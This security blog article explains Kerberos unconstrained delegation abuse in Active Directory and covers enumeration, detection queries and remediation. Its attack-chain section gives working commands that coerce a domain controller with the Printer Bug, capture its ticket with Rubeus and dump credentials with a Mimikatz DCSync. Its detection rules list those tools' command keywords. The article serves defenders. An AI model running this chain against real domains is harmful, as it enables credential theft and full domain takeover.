TRUSTED_FOR_DELEGATION
AD userAccountControl flag that marks a computer or service account for unconstrained delegation: any object with this flag caches TGTs of authenticating users
TrustedForDelegation
BloodHound node property that identifies unconstrained delegation: "Find Computers with Unconstrained Delegation" is a built-in BloodHound query for attack path enumeration
SpoolSS
Windows Print Spooler service that can be coerced to authenticate to an attacker-controlled host using MS-RPRN (Printer Bug): the most common technique for extracting DC TGTs via unconstrained delegation
4769
Event ID for Kerberos service ticket request: attackers extracting TGTs via unconstrained delegation generate detectable service ticket patterns

SponsoredRetool

Retool's new app builder is where AI-generated code ships safely

Building apps with AI is easy. Getting them to production safely is another story.

Start building for free today

Kerberos delegation was designed to allow web application servers to access backend databases on behalf of users: a legitimate need in multi-tier applications. Unconstrained delegation, the original implementation, is far too broad: it caches the user's entire TGT on the service host, allowing the service to impersonate the user to any service in the domain, not just specific backends.

Attackers weaponize this by combining two techniques: first compromise a computer with unconstrained delegation (often not a DC itself, but a member server or even a workstation), then use coercion attacks to force domain controller authentication to that computer. When the DC authenticates, its TGT is cached on the attacker's compromised host: where Mimikatz can extract it from LSASS memory.

Finding Unconstrained Delegation Objects

Find all computers with unconstrained delegation:

# Domain controllers always have unconstrained delegation (this is expected)
# Look for NON-DC computers with this flag:
Get-ADComputer -Filter {
    TrustedForDelegation -eq $true -and PrimaryGroupID -ne 516
} -Properties TrustedForDelegation, PrimaryGroupID, OperatingSystem |
  Select-Object Name, DNSHostName, OperatingSystem, TrustedForDelegation |
  Sort-Object Name

# PrimaryGroupID 516 = Domain Controllers group
# Any computer with TrustedForDelegation=True that is NOT a DC = investigation target

# Find user/service accounts with unconstrained delegation:
Get-ADUser -Filter {
    TrustedForDelegation -eq $true
} -Properties TrustedForDelegation, ServicePrincipalNames |
  Select-Object SamAccountName, ServicePrincipalNames, TrustedForDelegation
# Any user account with unconstrained delegation is extremely dangerous

Find via BloodHound:

-- BloodHound Cypher query: computers with unconstrained delegation
MATCH (c:Computer {unconstraineddelegation: true})
WHERE NOT c.name STARTS WITH "DC-"  // Exclude DCs (expected)
RETURN c.name, c.operatingsystem, c.enabled
ORDER BY c.name

-- Find shortest path from any user to unconstrained delegation computer:
MATCH p = shortestPath((u:User)-[*1..5]->(c:Computer {unconstraineddelegation: true}))
WHERE NOT c.name STARTS WITH "DC-"
RETURN p

Find via LDAP (PowerView):

# Using PowerView (PowerSploit)
Get-DomainComputer -Unconstrained -Properties name, samaccountname, dnshostname |
  Where-Object { $_.samaccountname -ne 'krbtgt' } |
  Select-Object name, dnshostname

The Attack Chain: Coercion + TGT Extraction

Step 1: Compromise a computer with unconstrained delegation

The attacker obtains code execution on a machine that has TRUSTED_FOR_DELEGATION set: this could be through a vulnerability, stolen credentials, or phishing.

Step 2: Coerce DC authentication with Print Spooler (Printer Bug)

# SpoolSample.exe (C# implementation of Printer Bug / MS-RPRN)
# Forces the target DC's computer account to authenticate to the attacker's machine
.\SpoolSample.exe DC01.corp.local DELEGATED-SERVER.corp.local
# DC01 = target DC to coerce
# DELEGATED-SERVER = machine with unconstrained delegation where attacker is running

# Or using Impacket's printerbug.py:
python3 printerbug.py 'corp.local/domainuser:Password@DC01.corp.local' \
  DELEGATED-SERVER.corp.local
# After this: DC01's TGT is cached on DELEGATED-SERVER

Step 3: Extract the DC TGT from LSASS (on the delegated server)

# Using Rubeus to monitor and extract TGTs as they arrive:
Rubeus.exe monitor /interval:5 /nowrap /filteruser:DC01$
# Monitors LSASS every 5 seconds for new TGTs matching DC01$
# When the printer bug triggers, the TGT appears:
# [*] 3/14 17:23:18 UTC - Found new TGT:
# User: DC01$@CORP.LOCAL
# ...
# [*] Ticket : doIFxj...<base64 TGT>

# Inject the DC TGT for use:
Rubeus.exe ptt /ticket:doIFxj...

# Now perform DCSync as the DC machine account:
mimikatz# lsadump::dcsync /user:CORP\Administrator /domain:corp.local
# Result: full domain compromise
Free daily briefing

Briefings like this, every morning before 9am.

Threat intel, active CVEs, and campaign alerts, distilled for practitioners. 50,000+ subscribers. No noise.

Detection: Coercion and TGT Theft Signals

Detect Print Spooler coercion (printer bug):

// TerminalServices/Security events generated when SpoolSS forces DC auth:
// The DC's computer account authenticates to the delegated server
// On the DELEGATED SERVER: look for computer account logons from DCs
SecurityEvent
| where EventID == 4624
| where LogonType == 3  // Network logon
| where TimeGenerated > ago(24h)
// Target account ends with $ (machine account) and is a DC
| where TargetUserName endswith "$"
// Source computer resolving to a DC name:
| where WorkstationName has_any ("DC01", "DC02")  // Or match DC OU
// Destination is NOT a DC (anomalous DC auth to non-DC)
| where Computer !in~ ("DC01", "DC02")
| project TimeGenerated, TargetUserName, IpAddress, Computer, LogonType

// On the SOURCE DC: Event 4648: explicit credential logon
// The print spooler service is authenticating using the DC machine account
SecurityEvent
| where EventID == 4648
| where SubjectUserName endswith "$"  // Machine account initiating auth
| where TargetServerName !in~ ("DC01", "DC02")  // Authenticating to non-DC
| where TimeGenerated > ago(24h)

Monitor delegation computers for Rubeus/Mimikatz activity (Sysmon):

// Detect Rubeus monitor running on delegated computers
Event
| where Source == "Microsoft-Windows-Sysmon" and EventID == 1
| extend EventData = parse_xml(EventData)
| extend
    Image = tostring(EventData.DataItem.EventData.Data[4]["#text"]),
    CommandLine = tostring(EventData.DataItem.EventData.Data[10]["#text"])
// Rubeus or Mimikatz on a computer with unconstrained delegation:
| where CommandLine has_any ("monitor", "lsadump::dcsync", "sekurlsa::tickets",
    "kerberos::list", "/ptt", "/ticket:")
| project TimeGenerated, Computer, Image, CommandLine

Proactive: Alert when machine account authenticates unexpectedly:

// DC machine account (DC01$) should only authenticate to DCs and specific services
// Authenticating to a non-DC server = potential unconstrained delegation abuse
SecurityEvent
| where EventID == 4624 and LogonType == 3
| where TargetUserName in~ ("DC01$", "DC02$", "DC03$")  // Your DC machine accounts
| where Computer !in~ ("DC01", "DC02", "DC03")  // Destination is not a DC
| where TimeGenerated > ago(24h)
| project TimeGenerated, TargetUserName, IpAddress, Computer

Remediation: Remove Unconstrained Delegation

Option 1: Disable unconstrained delegation, enable constrained delegation:

# Remove unconstrained delegation from a computer:
Set-ADComputer -Identity "APPSERVER01" `
  -TrustedForDelegation $false

# If the application requires delegation:
# Configure CONSTRAINED delegation instead (limit to specific services)
Set-ADComputer -Identity "APPSERVER01" `
  -TrustedForDelegation $false `
  -PrincipalsAllowedToDelegateToAccount @("HTTP/appserver01.corp.local")

# Or use Resource-Based Constrained Delegation (RBCD):
# More granular: target server controls who can delegate TO it
Set-ADComputer -Identity "BACKENDSERVER01" `
  -PrincipalsAllowedToDelegateToAccount (Get-ADComputer APPSERVER01)
# Only APPSERVER01 can delegate to BACKENDSERVER01
# No other computer can abuse this delegation

Option 2: Protect sensitive accounts with Protected Users security group:

# Members of Protected Users group cannot have their TGTs delegated
# Adding Domain Admins to Protected Users prevents their TGTs from
# being cached on unconstrained delegation servers
Add-ADGroupMember -Identity "Protected Users" -Members "DomainAdmin1"
# Warning: Protected Users disables NTLM for these accounts
# Verify applications don't depend on NTLM auth for these accounts first

# Also mark accounts as "Account is sensitive and cannot be delegated":
Set-ADUser -Identity "DomainAdmin1" -AccountNotDelegated $true
# This prevents this specific account's TGT from being forwarded
# even when connecting to unconstrained delegation servers

Option 3: Disable the Print Spooler service on Domain Controllers:

# If Print Spooler is not needed on DCs (it rarely is), disable it
# This prevents the Printer Bug coercion technique entirely on DCs
Get-ADDomainController -Filter * | ForEach-Object {
    $dc = $_.Name
    Invoke-Command -ComputerName $dc -ScriptBlock {
        Stop-Service -Name Spooler -Force
        Set-Service -Name Spooler -StartupType Disabled
    }
}

The bottom line

Kerberos unconstrained delegation allows any service or computer with the TRUSTED_FOR_DELEGATION flag to cache TGTs of all users who authenticate to it: attackers exploit this by compromising a delegated host and coercing a DC to authenticate (via Printer Bug or PetitPotam), capturing the DC's TGT for DCSync-equivalent access. Audit: Get-ADComputer -Filter {TrustedForDelegation -eq $true -and PrimaryGroupID -ne 516} to find all non-DC machines with unconstrained delegation. Remediate by removing the flag and replacing with constrained or resource-based constrained delegation. Protect privileged accounts by adding them to the Protected Users group (prevents TGT delegation) and setting AccountNotDelegated.

Frequently asked questions

What is Kerberos unconstrained delegation and why is it dangerous?

Kerberos unconstrained delegation (TRUSTED_FOR_DELEGATION flag in AD) allows a service or computer to request and cache the TGTs of any user that authenticates to it: enabling full impersonation of those users to any service in the domain. Attackers exploit it by compromising a host with this flag set, coercing a domain controller to authenticate to that host (using the Printer Bug or PetitPotam), extracting the DC's TGT from LSASS memory with Rubeus, and using that TGT for DCSync to dump all domain credentials.

How do you find computers with unconstrained delegation in Active Directory?

Run in PowerShell: `Get-ADComputer -Filter {TrustedForDelegation -eq $true -and PrimaryGroupID -ne 516}`: this finds all computers with unconstrained delegation except domain controllers (PrimaryGroupID 516). In BloodHound, the built-in query "Find Computers with Unconstrained Delegation" identifies these nodes and shows attack paths to them. Any non-DC computer with this flag is an investigation priority: it should be remediated by disabling unconstrained delegation and configuring constrained or resource-based constrained delegation instead.

What is Kerberos unconstrained delegation and how do attackers exploit it?

Unconstrained delegation is an Active Directory setting that allows a server to impersonate any user who authenticates to it, across any service in the domain. When a user authenticates to a server with unconstrained delegation, Windows sends a copy of the user's Kerberos TGT to that server. If an attacker compromises a server with unconstrained delegation, they extract all TGTs from memory (using Rubeus or Mimikatz) and impersonate any user whose TGT is cached — including domain admins. Attackers exploit PrinterBug (MS-RPRN coerce) or PetitPotam to force a domain controller to authenticate to the attacker-controlled unconstrained delegation server, capturing the domain controller's TGT and achieving domain compromise.

What is the difference between unconstrained delegation, constrained delegation, and resource-based constrained delegation?

Unconstrained delegation: the front-end server can impersonate the user to any service in the domain — the most dangerous configuration. Constrained delegation: configured on the front-end server's computer or service account object, specifying which specific backend services it is allowed to impersonate users to. More secure than unconstrained but still requires admin configuration and has some abuse potential. Resource-based constrained delegation (RBCD): configured on the backend resource's computer object (not the front-end). The backend resource specifies which front-end services are allowed to impersonate users to it. RBCD is the modern recommended approach: it is more flexible and reduces the administrative privilege required to configure delegation. Migrate unconstrained delegation to RBCD where possible.

How do I detect exploitation of unconstrained delegation (PrinterBug/PetitPotam coerce)?

Detection for coercion-based unconstrained delegation exploitation: Event ID 4768 (TGT request) on domain controllers from the unconstrained delegation server's computer account (DC machine accounts do not normally request TGTs from other DCs); MS-RPRN/SpoolSS traffic from domain controllers to non-DC computers (PrinterBug detection); network connections from domain controllers to atypical ports or servers; and Sysmon Event 10 (ProcessAccess) on LSASS of the unconstrained delegation server targeting lsass.exe from Rubeus or similar tools. Microsoft Defender for Identity has specific detections for both PrinterBug and PetitPotam coercion.

After removing unconstrained delegation from a server, how do you verify the application still functions and identify which specific Kerberos delegation type to reconfigure in its place?

Enable Kerberos diagnostic logging on the affected server by setting 'HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters\LogLevel = 1' (DWORD) and reproduce the application workflow: the System event log will show Kerberos errors (Event 3 from KRB5 source) that identify which delegation step is failing and which service principal name (SPN) the application is trying to impersonate the user to. Use this SPN to configure constrained delegation on the front-end service account: in Active Directory Users and Computers, open the service account or computer object, go to the Delegation tab, select 'Trust this user for delegation to specified services only (Use Kerberos only)', and add the specific SPN that the Kerberos log identified. If the application uses HTTP to a backend that itself needs to delegate further (double-hop scenario), configure resource-based constrained delegation on the backend resource instead: run 'Set-ADComputer -Identity BACKEND -PrincipalsAllowedToDelegateToAccount (Get-ADComputer FRONTEND)' to allow only the front-end server to delegate to the backend, which is more restrictive and easier to audit than classical constrained delegation.

Sources & references

  1. MITRE ATT&CK T1558: Steal or Forge Kerberos Tickets
  2. Sean Metcalf: Kerberos Delegation Attacks
  3. Harmj0y: Unconstrained Delegation BloodHound

Free resources

25
Free download

Critical CVE Reference Card 2025–2026

25 actively exploited vulnerabilities with CVSS scores, exploit status, and patch availability. Print it, pin it, share it with your SOC team.

No spam. Unsubscribe anytime.

Free download

Ransomware Incident Response Playbook

Step-by-step 24-hour IR checklist covering detection, containment, eradication, and recovery. Built for SOC teams, IR leads, and CISOs.

No spam. Unsubscribe anytime.

Free newsletter

Get threat intel before your inbox does.

50,000+ security professionals read Decryption Digest for early warnings on zero-days, ransomware, and nation-state campaigns. Free, daily, no spam.

Unsubscribe anytime. We never sell your data.

Eric Bang
Author

Founder & Cybersecurity Evangelist, Decryption Digest

Cybersecurity professional with expertise in threat intelligence, vulnerability research, and enterprise security. Covers zero-days, ransomware, and nation-state operations for 50,000+ security professionals every morning.

Black Hat Giveaway

Win a $2,495 Black Hat pass.

Full-access to Black Hat USA 2026 in Las Vegas. Subscribe free to enter.

Joins Decryption Digest daily briefing. Unsubscribe anytime.

Giveaway: Black Hat USA 2026 Full-Access Pass ($2,495 value)

Details →
Daily Briefing

Subscribe to enter the giveaway

Every subscriber is automatically entered. You also get daily threat intel every morning: zero-days, ransomware, and nation-state campaigns. Free. No spam.

Already subscribed? You're already entered.

Giveaway

Win a $2,495 Black Hat USA 2026 pass.